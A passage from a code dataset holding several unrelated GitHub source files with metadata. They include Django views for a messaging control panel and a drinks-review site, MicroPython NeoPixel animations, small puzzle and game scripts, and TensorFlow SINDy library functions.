request,\n messages.ERROR,\n 'Could not re-queued all subscription tasks'\n )\n failures = sbmApi.get_failed_tasks()['results']\n failures = utils.get_page_of_iterator(\n failures, settings.FAILURE_LIST_PAGE_SIZE, request.GET.get('page'))\n context = {\n 'failures': failures\n }\n context.update(csrf(request))\n return render(request, 'ci/failures_subscriptions.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['SEED_SCHEDULER'])\ndef schedule_failures(request):\n schdApi = SchedulerApiClient(\n request.session[\"user_tokens\"][\"SEED_SCHEDULER\"][\"token\"], # noqa\n api_url=request.session[\"user_tokens\"][\"SEED_SCHEDULER\"][\"url\"] # noqa\n )\n if request.method == \"POST\":\n requeue = schdApi.requeue_failed_tasks()\n if ('requeued_failed_tasks' in requeue and\n requeue['requeued_failed_tasks']):\n messages.add_message(\n request,\n messages.INFO,\n 'Successfully re-queued all scheduler tasks'\n )\n else:\n messages.add_message(\n request,\n messages.ERROR,\n 'Could not re-queued all scheduler tasks'\n )\n failures = schdApi.get_failed_tasks()['results']\n failures = utils.get_page_of_iterator(\n failures, settings.FAILURE_LIST_PAGE_SIZE, request.GET.get('page'))\n context = {\n 'failures': failures,\n }\n context.update(csrf(request))\n return render(request, 'ci/failures_schedules.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['SEED_MESSAGE_SENDER'])\ndef outbound_failures(request):\n msApi = MessageSenderApiClient(\n request.session[\"user_tokens\"][\"SEED_MESSAGE_SENDER\"][\"token\"], # noqa\n api_url=request.session[\"user_tokens\"][\"SEED_MESSAGE_SENDER\"][\"url\"] # noqa\n )\n if request.method == \"POST\":\n requeue = msApi.requeue_failed_tasks()\n if ('requeued_failed_tasks' in requeue and\n requeue['requeued_failed_tasks']):\n messages.add_message(\n request,\n messages.INFO,\n 'Successfully re-queued all outbound tasks'\n )\n else:\n messages.add_message(\n request,\n messages.ERROR,\n 'Could not re-queued all outbound tasks'\n )\n failures = msApi.get_failed_tasks()['results']\n failures = utils.get_page_of_iterator(\n failures, settings.FAILURE_LIST_PAGE_SIZE, request.GET.get('page'))\n context = {\n 'failures': failures\n }\n context.update(csrf(request))\n return render(request, 'ci/failures_outbounds.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['HUB'])\ndef report_generation(request):\n hubApi = HubApiClient(\n request.session[\"user_tokens\"][\"HUB\"][\"token\"],\n api_url=request.session[\"user_tokens\"][\"HUB\"][\"url\"])\n\n if request.method == \"POST\":\n report_type = request.POST['report_type']\n if report_type == 'registration':\n reg_form = ReportGenerationForm(\n request.POST, auto_id='registration_%s')\n posted_form = reg_form\n msisdn_form = MsisdnReportGenerationForm(auto_id='cohort_%s')\n elif report_type == 'cohort':\n msisdn_form = MsisdnReportGenerationForm(\n request.POST, request.FILES, auto_id='cohort_%s')\n posted_form = msisdn_form\n reg_form = ReportGenerationForm(auto_id='registration_%s')\n\n if posted_form.is_valid():\n # Remove fields that weren't supplied\n if posted_form.cleaned_data.get('start_date') is None:\n del posted_form.cleaned_data['start_date']\n if posted_form.cleaned_data.get('end_date') is None:\n del posted_form.cleaned_data['end_date']\n if posted_form.cleaned_data.get('email_to') == []:\n del posted_form.cleaned_data['email_to']\n if posted_form.cleaned_data.get('email_from') == \"\":\n del posted_form.cleaned_data['email_from']\n if posted_form.cleaned_data.get('email_subject') == \"\":\n del posted_form.cleaned_data['email_subject']\n\n try:\n results = hubApi.trigger_report_generation(\n posted_form.cleaned_data)\n except HTTPServiceError as e:\n logger.error('Report generation failed: %s' % e.details)\n messages.add_message(\n request,\n messages.ERROR,\n 'Could not start report generation'\n )\n else:\n if 'report_generation_requested' in results:\n messages.add_message(\n request,\n messages.INFO,\n 'Successfully started report generation'\n )\n else:\n messages.add_message(\n request,\n messages.ERROR,\n 'Could not start report generation'\n )\n else:\n reg_form = ReportGenerationForm(auto_id='registration_%s')\n msisdn_form = MsisdnReportGenerationForm(auto_id='cohort_%s')\n report_type = \"\"\n\n report_tasks = hubApi.get_report_tasks()\n\n context = {\n \"forms\": {\"registration_form\": reg_form, \"cohort_form\": msisdn_form},\n \"report_tasks\": report_tasks,\n \"report_type\": report_type\n }\n context.update(csrf(request))\n return render(request, 'ci/reports.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['SEED_IDENTITY_SERVICE'])\ndef user_management(request):\n if not settings.SHOW_USER_DETAILS:\n return redirect('denied')\n\n hubApi = HubApiClient(\n api_url=request.session[\"user_tokens\"][\"HUB\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"HUB\"][\"token\"] # noqa\n )\n\n page = int(request.GET.get('page', 1))\n filters = {\"page\": page}\n form = UserDetailSearchForm(request.GET)\n if form.is_valid():\n for key, value in form.cleaned_data.items():\n if value:\n filters[key] = value\n\n results = hubApi.get_user_details(filters)\n\n states = [('*', 'All')]\n for state in hubApi.get_states()['results']:\n states.append((state['name'], state['name']))\n\n form.fields['state'] = forms.ChoiceField(choices=states)\n\n context = {}\n context['users'] = results['results']\n context['has_next'] = results['has_next']\n context['has_previous'] = results['has_previous']\n context['next_page_number'] = page + 1\n context['previous_page_number'] = page - 1\n context['form'] = form\n\n return render(request, 'ci/user_management.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['SEED_IDENTITY_SERVICE', 'HUB',\n 'SEED_STAGE_BASED_MESSAGING'])\ndef user_management_detail(request, identity):\n idApi = IdentityStoreApiClient(\n api_url=request.session[\"user_tokens\"][\"SEED_IDENTITY_SERVICE\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"SEED_IDENTITY_SERVICE\"][\"token\"] # noqa\n )\n sbmApi = StageBasedMessagingApiClient(\n api_url=request.session[\"user_tokens\"][\"SEED_STAGE_BASED_MESSAGING\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"SEED_STAGE_BASED_MESSAGING\"][\"token\"] # noqa\n )\n hubApi = HubApiClient(\n api_url=request.session[\"user_tokens\"][\"HUB\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"HUB\"][\"token\"] # noqa\n )\n messagesets_results = sbmApi.get_messagesets()\n\n messagesets = {}\n linked_to = {}\n operator_id = {}\n\n for messageset in messagesets_results[\"results\"]:\n messagesets[messageset[\"id\"]] = messageset[\"short_name\"]\n\n results = idApi.get_identity(identity)\n\n if results['details'].get('linked_to'):\n linked_to = idApi.get_identity(results['details']['linked_to'])\n\n operator_id = results['details'].get('operator', results.get('operator'))\n if operator_id:\n operator_id = idApi.get_identity(operator_id)\n\n hub_filter = {\n settings.IDENTITY_FIELD: identity\n }\n registrations = hubApi.get_registrations(params=hub_filter)\n\n sbm_filter = {\n \"identity\": identity\n }\n subscriptions = sbmApi.get_subscriptions(params=sbm_filter)\n\n context = {\n \"identity\": results,\n \"registrations\": registrations,\n \"messagesets\": messagesets,\n \"subscriptions\": subscriptions,\n \"linked_to\": linked_to,\n \"operator\": operator_id\n }\n\n context.update(csrf(request))\n return render(request, 'ci/user_management_detail.html', context)\n","repo_name":"praekeltfoundation/seed-control-interface","sub_path":"ci/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":46631,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"73727169746","text":"\nfrom machine import Pin\nfrom neopixel import NeoPixel\nimport time\n\nn = 7\npin = Pin(5, Pin.OUT) # set GPIO5 (D1) to output to drive NeoPixels\nnp = NeoPixel(pin, 7) # create NeoPixel driver on GPIO0 for 7 pixels\nnp[0] = (255, 255, 255) # set the first pixel to white\nnp.write() # write data to all pixels\nnp[0] = (0, 0, 0) # set the first pixel to nothing (black)\nnp.write() # write data to all pixels\n\ndef cycle():\n for i in range(4 * n):\n for j in range(n):\n np[j] = (0, 0, 0)\n np[i % n] = (255, 255, 255)\n np.write()\n time.sleep_ms(25)\n\ndef bounce():\n for i in range(4 * n):\n for j in range(n):\n np[j] = (0, 0, 128)\n if (i // n) % 2 == 0:\n np[i % n] = (0, 0, 0)\n else:\n np[n - 1 - (i % n)] = (0, 0, 0)\n np.write()\n time.sleep_ms(60)\n\ndef fade():\n for i in range(0, 4 * 256, 8):\n for j in range(n):\n if (i // 256) % 2 == 0:\n val = i & 0xff\n else:\n val = 255 - (i & 0xff)\n np[j] = (val, 0, 0)\n np.write()\n\ndef clear():\n for i in range(n):\n np[i] = (0, 0, 0)\n np.write()\n","repo_name":"cheapjack/WearableTechBadge","sub_path":"examples/circle/lights.py","file_name":"lights.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19955564416","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate, logout, login as auth_login\nfrom django.http import Http404, HttpResponseServerError\nfrom django.http import HttpResponseRedirect\nfrom .models import *\nfrom .sort import sort_query_set\nfrom .search import search_in_queryset\n\n\ndef index(request):\n auth = request.user.is_authenticated\n popular_drinks = sort_query_set('By popularity (descending)', Drink.objects.all())[0:4]\n popular_cocktails = sort_query_set('By popularity (descending)', Cocktail.objects.all())[0:4]\n popular_bars = sort_query_set('By popularity (descending)', Bar.objects.all())[0:4]\n return render(request, 'en/index.html', {'auth': auth,\n 'popular_drinks': popular_drinks,\n 'popular_cocktails': popular_cocktails,\n 'popular_bars': popular_bars})\n\n\ndef show_drinks(query_set_drinks, drinkTypes, request):\n if ('Favourites' in request.GET) and (request.GET['Favourites'] == 'on'):\n acc = Account.objects.get(username=request.user.username)\n all_drinks = acc.favouriteDrinks.all()\n else:\n all_drinks = query_set_drinks\n all_drinks = search_in_queryset(request.GET['search'], all_drinks)\n filter = False\n filter_drinks = Drink.objects.none()\n for type in drinkTypes:\n if(type.name in request.GET) and (request.GET[type.name] == 'on'):\n filter = True\n drinks_of_type = all_drinks.filter(drinkType=type)\n filter_drinks = filter_drinks.union(drinks_of_type)\n if not filter:\n filter_drinks = all_drinks\n filter_drinks = sort_query_set(request.GET['sort'], filter_drinks)\n return filter_drinks\n\n\ndef drink_detail(request, drink_id):\n auth = request.user.is_authenticated\n try:\n drink = Drink.objects.get(pk=drink_id)\n liked = False\n favourite = False\n if auth:\n acc = Account.objects.get(username=request.user.username)\n if drink in acc.likedDrinks.all():\n liked = True\n if drink in acc.favouriteDrinks.all():\n favourite = True\n drinksM = DrinkTypeMeasure.objects.filter(drinksType=drink.drinkType)\n drink_coctails = Cocktail.objects.filter(drinksType_in=drinksM)\n except Drink.DoesNotExist:\n raise Http404(\"Drink does not exist\")\n return render(request, 'en/drink.html', {'drink': drink,\n 'auth': auth,\n 'comments': drink.getComments(),\n 'liked': liked,\n 'favourite': favourite,\n 'cocktails': drink_coctails})\n\n\ndef drinks(request):\n auth = request.user.is_authenticated\n drinkTypes = DrinkType.objects.all()\n sortTypes = SortType.objects.all()\n query_set_drinks = Drink.objects.all()\n if request.GET:\n filter_drinks = show_drinks(query_set_drinks, drinkTypes, request)\n else:\n filter_drinks = query_set_drinks\n filter_drinks = sort_query_set('?', filter_drinks)\n return render(request, 'en/drinks.html', {'drinkTypes': drinkTypes,\n 'auth': auth,\n 'all_products': filter_drinks,\n 'sortTypes': sortTypes})\n\n\ndef popular_drinks(request):\n auth = request.user.is_authenticated\n drinkTypes = DrinkType.objects.all()\n sortTypes = SortType.objects.all()\n query_set_drinks = sort_query_set('By popularity (descending)', Drink.objects.all())[0:100]\n if request.GET:\n filter_drinks = show_drinks(query_set_drinks, drinkTypes, request)\n else:\n filter_drinks = query_set_drinks\n filter_drinks = sort_query_set('?', filter_drinks)\n return render(request, 'en/drinks.html', {'drinkTypes': drinkTypes,\n 'auth': auth,\n 'all_products': filter_drinks,\n 'sortTypes': sortTypes})\n\n\ndef choose_drinks(request):\n return show_choose_product(request, Drink.objects.all(), 'Drinks', 'drink_detail')\n\n\ndef choose_cocktails(request):\n return show_choose_product(request, Cocktail.objects.all(), 'Cocktails', 'cocktail_detail')\n\n\ndef show_choose_product(request, all_products, product_name, product_url_detail):\n auth = request.user.is_authenticated\n all_drinks_4_first = sort_query_set('?', all_products)[0:4]\n popular_product_items = sort_query_set('By popularity (descending)', all_products)[0:4]\n return render(request, 'en/choose_product.html', {'product_name': product_name,\n 'all_products': all_drinks_4_first,\n 'auth': auth,\n 'popular_products': popular_product_items,\n 'product_url_detail': product_url_detail})\n\n\ndef cocktails(request):\n auth = request.user.is_authenticated\n cocktailTypes = CocktailType.objects.all()\n sortTypes = SortType.objects.all()\n query_set_cocktails = Cocktail.objects.all()\n if request.GET:\n filter_drinks = show_cocktails(query_set_cocktails, cocktailTypes, request)\n else:\n filter_drinks = query_set_cocktails\n filter_drinks = sort_query_set('?', filter_drinks)\n return render(request, 'en/drinks.html', {'drinkTypes': cocktailTypes,\n 'auth': auth,\n 'all_products': filter_drinks,\n 'sortTypes': sortTypes})\n\n\ndef show_cocktails(query_set_cocktails, cocktailTypes, request):\n if ('Favourites' in request.GET) and (request.GET['Favourites'] == 'on'):\n acc = Account.objects.get(username=request.user.username)\n all_cocktails = acc.favouriteCocktails.all()\n else:\n all_cocktails = query_set_cocktails\n all_cocktails = search_in_queryset(request.GET['search'], all_cocktails)\n filter = False\n filter_cocktails = Cocktail.objects.none()\n for type in cocktailTypes:\n if(type.name in request.GET) and (request.GET[type.name] == 'on'):\n filter = True\n cocktails_of_type = all_cocktails.filter(cocktailType=type)\n filter_cocktails = filter_cocktails.union(cocktails_of_type)\n if not filter:\n filter_cocktails = all_cocktails\n filter_cocktails = sort_query_set(request.GET['sort'], filter_cocktails)\n return filter_cocktails\n\n\ndef cocktail_detail(request, cocktail_id):\n auth = request.user.is_authenticated\n try:\n cocktail = Cocktail.objects.get(pk=cocktail_id)\n liked = False\n favourite = False\n if auth:\n acc = Account.objects.get(username=request.user.username)\n if cocktail in acc.likedCocktails.all():\n liked = True\n if cocktail in acc.favouriteCocktails.all():\n favourite = True\n comments = cocktail.comments.all()\n comment_to_account = CommentToAccount.objects.none()\n for comment in comments:\n comment_to_union = CommentToAccount.objects.filter(comment=comment)\n comment_to_account = comment_to_account.union(comment_to_union)\n except Cocktail.DoesNotExist:\n raise Http404(\"Cocktail does not exist\")\n return render(request, 'en/drink.html', {'drink': cocktail,\n 'auth': auth,\n 'comments': comment_to_account,\n 'liked': liked,\n 'favourite': favourite})\n\n\ndef bars(request):\n return HttpResponse(\"Hello bars!\")\n\n\ndef about(request):\n return HttpResponse(\"Hello about!\")\n\n#account actions\n\ndef exit(request):\n logout(request)\n return redirect(\"/\")\n\ndef login(request):\n if request.user.is_authenticated:\n return redirect(\"/account/\")\n if request.POST:\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(request, username=username, password=password)\n if user is not None:\n auth_login (request, user)\n return redirect(\"/\")\n else:\n return render(request, 'en/login.html', {'error': 'Wrong username or password!'})\n else:\n return render(request, 'en/login.html')\n\ndef sign_up(request):\n if request.user.is_authenticated:\n return redirect(\"/account/\")\n if request.POST:\n email = request.POST['email']\n username = request.POST['username']\n password = request.POST['password']\n photo = Image.objects.get(image=\"default.jpg\")\n user = Account.objects.create_user(username=username, password=password, email=email, photo=photo)\n if user is not None:\n auth_login (request, user)\n return redirect(\"/\")\n else:\n return HttpResponse(\"Can`t registrate!\")\n else:\n return redirect(\"login/\")\n\n\ndef account(request):\n auth = request.user.is_authenticated\n if auth:\n acc = Account.objects.get(username=request.user.username)\n favouriteDrinks = acc.favouriteDrinks.all()[0:4]\n favouriteCocktails = acc.favouriteCocktails.all()[0:4]\n favouriteBars = acc.favouriteBars.all()[0:4]\n return render(request, 'en/account.html', {'account': acc, 'auth': auth,\n 'favouriteDrinks': favouriteDrinks,\n 'favouriteCocktails': favouriteCocktails,\n 'favouriteBars': favouriteBars})\n else:\n return redirect(\"/login/\")\n \n#social actions with drinks\ndef add_to_favourites_drink(request, drink_id):\n if not request.user.is_authenticated:\n return redirect(\"/login/\")\n if request.POST:\n try:\n account = Account.objects.get(username=request.user.username)\n account.addProductToArray(Drink, drink_id, account.favouriteDrinks)\n except:\n raise HttpResponseServerError()\n return redirect(\"/drinks/\" + str(drink_id))\n\ndef remove_favourite_drink(request, drink_id):\n if not request.user.is_authenticated:\n return redirect(\"/login/\")\n if request.POST:\n try:\n account = Account.objects.get(username=request.user.username)\n account.removeProductFromArray (Drink, drink_id, account.favouriteDrinks)\n except:\n raise HttpResponseServerError()\n return redirect(\"/drinks/\" + str(drink_id)) \n\ndef like_drink(request, drink_id):\n if not request.user.is_authenticated:\n return redirect(\"/login/\")\n if request.POST:\n try:\n account = Account.objects.get(username=request.user.username)\n account.likeProduct(Drink, drink_id, account.likedDrinks)\n except:\n raise HttpResponseServerError()\n return redirect(\"/drinks/\" + str(drink_id))\n\ndef unlike_drink(request, drink_id):\n if not request.user.is_authenticated:\n return redirect(\"/login/\")\n if request.POST:\n try:\n account = Account.objects.get(username=request.user.username)\n account.unlikeProduct(Drink, drink_id, account.likedDrinks)\n except:\n raise HttpResponseServerError()\n return redirect(\"/drinks/\" + str(drink_id))\n\ndef leave_comment_drink(request, drink_id):\n if not request.user.is_authenticated:\n return redirect(\"/login/\")\n if request.POST:\n comment_text = request.POST['comment_text']\n username = request.user.username\n new_comment = CommentToAccount.createComment(comment_text, username)\n Drink.addCommentToDrink(drink_id, new_comment)\n return redirect(\"/drinks/\" + str(drink_id))\n\n#social actions with cocktails","repo_name":"MrFlyingChip/Drunky","sub_path":"DrunkyProject/Drunky/DrunkyApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6836106314","text":"from collections import defaultdict\n\ndef solution(k, dungeons):\n dic = defaultdict(int)\n dungeons.sort(key=lambda x: -x[0])\n for i in range(len(dungeons)):\n dic[i] = dungeons[i][0] - dungeons[i][1]\n sorted_list = sorted(dic.items(), key = lambda item: (-item[1], -dungeons[i][0]))\n\n answer = 0\n for item in sorted_list:\n need = dungeons[item[0]][0]\n use = dungeons[item[0]][1]\n\n if (k >= need):\n answer = answer + 1\n k = k - use\n\n return answer","repo_name":"2hwayoung/AlgorithmStudy","sub_path":"시험/toss_ex1 copy 3.py","file_name":"toss_ex1 copy 3.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9960463305","text":"import random\n\ndef create_map(size, trapsNbr):\n \"\"\"Create a map of size x size with trapsNbr traps\"\"\"\n MY_PRECIOUS = 1\n TRAP = -1\n my_map = {}\n while trapsNbr:\n x = random.randint(1, size)\n y = random.randint(1, size)\n if (x, y) not in my_map:\n my_map[(x, y)] = TRAP\n trapsNbr -= 1\n while True:\n x = random.randint(1, size)\n y = random.randint(1, size)\n if (x, y) not in my_map:\n my_map[(x, y)] = MY_PRECIOUS\n return my_map\n\ndef play_game(map_size, treasure_map):\n \"\"\"Ask player to choose a position and return True if he found the treasure\"\"\"\n while True:\n inp = input().split()\n if (len(inp) == 2) and inp[0].isdigit() and inp[1].isdigit():\n x, y = int(inp[0]), int(inp[1])\n if x in range(1, map_size+1) and y in range(1, map_size+1):\n if (x, y) in treasure_map:\n if treasure_map[(x, y)] == 1:\n return True\n else:\n return False","repo_name":"stanislas1200/FUN-MOOC","sub_path":"Module 6/6.5/6.19-rouge.py","file_name":"6.19-rouge.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42616791615","text":"from django.shortcuts import render, redirect, reverse, get_object_or_404\nfrom django.http import HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\nfrom django.contrib.auth.models import User\n\nfrom profiles.models import UserProfile\nfrom reviews.models import Review\n\nfrom .models import Message\nfrom .forms import MessageForm\n\n\n@login_required\ndef manage(request):\n \"\"\"\n A view to return the Site Management Page\n \"\"\"\n\n # Checks user is superuser\n # redirects to home if not\n if not request.user.is_superuser:\n messages.error(\n request, 'Sorry, only store owners can do that.')\n return redirect(reverse('home'))\n\n # Gets unapproved Reviews from DB\n unapproved_reviews = Review.objects.filter(\n is_approved=False).order_by('-created_on')\n\n # Gets messages from DB\n customer_messages = Message.objects.all().order_by('-created_on')\n\n # Reset filter variables\n open = None\n current_filter = None\n\n # Handles product filtering by is_open\n if 'open' in request.GET:\n open = request.GET['open']\n customer_messages = customer_messages.filter(\n is_open=open).order_by('-created_on').values()\n\n # Sets current filter value\n if open == \"False\":\n current_filter = \"Closed\"\n else:\n current_filter = \"Open\"\n\n context = {\n 'customer_messages': customer_messages,\n 'current_filter': current_filter,\n 'reviews': unapproved_reviews\n }\n\n return render(request, 'manage/manage.html', context)\n\n\n@login_required\ndef toggle_message(request, message_id):\n \"\"\"\n A View to toggle the message open / closed\n \"\"\"\n\n # Checks user is superuser\n # redirects to home if not\n if not request.user.is_superuser:\n messages.error(\n request, 'Sorry, only store owners can access that page.')\n return redirect(reverse('home'))\n\n try:\n # Gets the message from DB\n message = get_object_or_404(Message, id=message_id)\n\n # Gets value of hidden input\n message_open = request.POST.get('is_open')\n\n # Sets value of is_open field on DB\n if message_open == \"True\":\n message.is_open = True\n else:\n message.is_open = False\n message.save()\n messages.success(request, \"Message status updated successfully\")\n\n # Gets current filter value\n current_filter = request.POST.get('current_filter')\n\n # Redirects to 'manage' view with query if current_filter set\n # Maintains current filtering\n if current_filter == \"None\":\n return redirect(reverse('manage'))\n else:\n if current_filter == \"Closed\":\n query = \"?open=False\"\n elif current_filter == \"Open\":\n query = \"?open=True\"\n\n return redirect(reverse('manage') + query)\n\n # Handles errors\n except Exception as e:\n messages.error(\n request,\n 'Sorry, the message status could not be updated. ' +\n 'Please try again later.'\n )\n return HttpResponse(content=e, status=400)\n\n\ndef contact_us(request):\n \"\"\"\n Renders form to add message / contact us.\n Adds new message to database.\n \"\"\"\n\n if request.user.is_authenticated:\n # Sets author based on current user\n user = User.objects.get(username=request.user)\n else:\n user = None\n\n # Handles Form Submission\n if request.method == \"POST\":\n form = MessageForm(request.POST)\n\n if form.is_valid():\n message = form.save()\n message.user = user\n message.save()\n\n request.session['show_bag_summary'] = False\n messages.success(request, \"Your message has been sent.\")\n return redirect(reverse('contact_us'))\n else:\n messages.error(request, \"Form invalid, please try again.\")\n\n # Handles View Rendering\n else:\n\n # Attempt to prefill form with user info\n # If not render empty form\n if request.user.is_authenticated:\n try:\n profile = UserProfile.objects.get(user=request.user)\n form = MessageForm(initial={\n 'name': profile.user.get_full_name(),\n 'email': profile.user.email,\n })\n except UserProfile.DoesNotExist:\n form = MessageForm()\n else:\n form = MessageForm()\n\n # Sets page template\n template = 'manage/contact_us.html'\n\n # Sets current product & form content\n context = {\n 'form': form,\n }\n\n return render(request, template, context)\n","repo_name":"emmahewson/island-bees","sub_path":"manage/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4733,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"27203882472","text":"import numpy as np\nimport tensorflow as tf\nfrom scipy.integrate import odeint\nfrom scipy.special import binom\n\n\ndef library_size(n, poly_order, use_sine=False, include_constant=True):\n l = 0\n for k in range(poly_order + 1):\n l += int(binom(n + k - 1, k))\n if use_sine:\n l += n\n if not include_constant:\n l -= 1\n return l\n\n\ndef sindy_fit(RHS, LHS, coefficient_threshold):\n m, n = LHS.shape\n Xi = np.linalg.lstsq(RHS, LHS, rcond=None)[0]\n\n for k in range(10):\n small_inds = (np.abs(Xi) < coefficient_threshold)\n Xi[small_inds] = 0\n for i in range(n):\n big_inds = ~small_inds[:, i]\n if np.where(big_inds)[0].size == 0:\n continue\n Xi[big_inds, i] = np.linalg.lstsq(RHS[:, big_inds], LHS[:, i], rcond=None)[0]\n return Xi\n\n\ndef sindy_library_tf(z, latent_dim, poly_order, include_sine=False):\n \"\"\"\n Build the SINDy library.\n Arguments:\n z - 2D tensorflow array of the snapshots on which to build the library. Shape is number of\n time points by the number of state variables.\n latent_dim - Integer, number of state variable in z.\n poly_order - Integer, polynomial order to which to build the library. Max value is 5.\n include_sine - Boolean, whether or not to include sine terms in the library. Default False.\n Returns:\n 2D tensorflow array containing the constructed library. Shape is number of time points by\n number of library functions. The number of library functions is determined by the number\n of state variables of the input, the polynomial order, and whether or not sines are included.\n \"\"\"\n library = [tf.ones(tf.shape(z)[0])]\n\n for i in range(latent_dim):\n library.append(z[:, i])\n\n if poly_order > 1:\n for i in range(latent_dim):\n for j in range(i, latent_dim):\n library.append(tf.multiply(z[:, i], z[:, j]))\n\n if poly_order > 2:\n for i in range(latent_dim):\n for j in range(i, latent_dim):\n for k in range(j, latent_dim):\n library.append(z[:, i] * z[:, j] * z[:, k])\n\n if poly_order > 3:\n for i in range(latent_dim):\n for j in range(i, latent_dim):\n for k in range(j, latent_dim):\n for p in range(k, latent_dim):\n library.append(z[:, i] * z[:, j] * z[:, k] * z[:, p])\n\n if poly_order > 4:\n for i in range(latent_dim):\n for j in range(i, latent_dim):\n for k in range(j, latent_dim):\n for p in range(k, latent_dim):\n for q in range(p, latent_dim):\n library.append(z[:, i] * z[:, j] * z[:, k] * z[:, p] * z[:, q])\n\n if include_sine:\n for i in range(latent_dim):\n library.append(tf.sin(z[:, i]))\n\n return tf.stack(library, axis=1)\n\n\ndef sindy_library_tf_order2(z, dz, latent_dim, poly_order, include_sine=False):\n \"\"\"\n Build the SINDy library for a second order system. This is essentially the same as for a first\n order system, but library terms are also built for the derivatives.\n \"\"\"\n library = [tf.ones(tf.shape(z)[0])]\n\n z_combined = tf.concat([z, dz], 1)\n\n for i in range(2 * latent_dim):\n library.append(z_combined[:, i])\n\n if poly_order > 1:\n for i in range(2 * latent_dim):\n for j in range(i, 2 * latent_dim):\n library.append(tf.multiply(z_combined[:, i], z_combined[:, j]))\n\n if poly_order > 2:\n for i in range(2 * latent_dim):\n for j in range(i, 2 * latent_dim):\n for k in range(j, 2 * latent_dim):\n library.append(z_combined[:, i] * z_combined[:, j] * z_combined[:, k])\n\n if poly_order > 3:\n for i in range(2 * latent_dim):\n for j in range(i, 2 * latent_dim):\n for k in range(j, 2 * latent_dim):\n for p in range(k, 2 * latent_dim):\n library.append(z_combined[:, i] * z_combined[:, j] * z_combined[:, k] * z_combined[:, p])\n\n if poly_order > 4:\n for i in range(2 * latent_dim):\n for j in range(i, 2 * latent_dim):\n for k in range(j, 2 * latent_dim):\n for p in range(k, 2 * latent_dim):\n for q in range(p, 2 * latent_dim):\n library.append(\n z_combined[:, i] * z_combined[:, j] * z_combined[:, k] * z_combined[:, p] * z_combined[\n :, q])\n\n if include_sine:\n for i in range(2 * latent_dim):\n library.append(tf.sin(z_combined[:, i]))\n\n return tf.stack(library, axis=1)\n\n\ndef compute_z_derivatives(input, dx, weights, biases):\n \"\"\"\n Compute the first order time derivatives by propagating through the network.\n Arguments:\n input - 2D tensorflow array, input to the network. Dimensions are number of time points\n by number of state variables.\n dx - First order time derivatives of the input to the network.\n weights - List of tensorflow arrays containing the network weights\n biases - List of tensorflow arrays containing the network biases\n activation - String specifying which activation function to use. Options are\n 'elu' (exponential linear unit), 'relu' (rectified linear unit), 'sigmoid',\n or linear.\n Returns:\n dz - Tensorflow array, first order time derivatives of the network output.\n \"\"\"\n dz = dx\n for i in range(len(weights) - 1):\n input = tf.matmul(input, weights[i]) + biases[i]\n dz = tf.multiply(tf.cast(input > 0, tf.float32), tf.matmul(dz, weights[i]))\n input = tf.nn.relu(input)\n dz = tf.matmul(dz, weights[-1])\n\n return dz\n\n\ndef z_derivative_order2(input, dx, ddx, weights, biases, activation='elu'):\n \"\"\"\n Compute the first and second order time derivatives by propagating through the network.\n Arguments:\n input - 2D tensorflow array, input to the network. Dimensions are number of time points\n by number of state variables.\n dx - First order time derivatives of the input to the network.\n ddx - Second order time derivatives of the input to the network.\n weights - List of tensorflow arrays containing the network weights\n biases - List of tensorflow arrays containing the network biases\n activation - String specifying which activation function to use. Options are\n 'elu' (exponential linear unit), 'relu' (rectified linear unit), 'sigmoid',\n or linear.\n Returns:\n dz - Tensorflow array, first order time derivatives of the network output.\n ddz - Tensorflow array, second order time derivatives of the network output.\n \"\"\"\n dz = dx\n ddz = ddx\n if activation == 'elu':\n for i in range(len(weights) - 1):\n input = tf.matmul(input, weights[i]) + biases[i]\n dz_prev = tf.matmul(dz, weights[i])\n elu_derivative = tf.minimum(tf.exp(input), 1.0)\n elu_derivative2 = tf.multiply(tf.exp(input), tf.to_float(input < 0))\n dz = tf.multiply(elu_derivative, dz_prev)\n ddz = tf.multiply(elu_derivative2, tf.square(dz_prev)) \\\n + tf.multiply(elu_derivative, tf.matmul(ddz, weights[i]))\n input = tf.nn.elu(input)\n dz = tf.matmul(dz, weights[-1])\n ddz = tf.matmul(ddz, weights[-1])\n elif activation == 'relu':\n # NOTE: currently having trouble assessing accuracy of 2nd derivative due to discontinuity\n for i in range(len(weights) - 1):\n input = tf.matmul(input, weights[i]) + biases[i]\n relu_derivative = tf.to_float(input > 0)\n dz = tf.multiply(relu_derivative, tf.matmul(dz, weights[i]))\n ddz = tf.multiply(relu_derivative, tf.matmul(ddz, weights[i]))\n input = tf.nn.relu(input)\n dz = tf.matmul(dz, weights[-1])\n ddz = tf.matmul(ddz, weights[-1])\n elif activation == 'sigmoid':\n for i in range(len(weights) - 1):\n input = tf.matmul(input, weights[i]) + biases[i]\n input = tf.sigmoid(input)\n 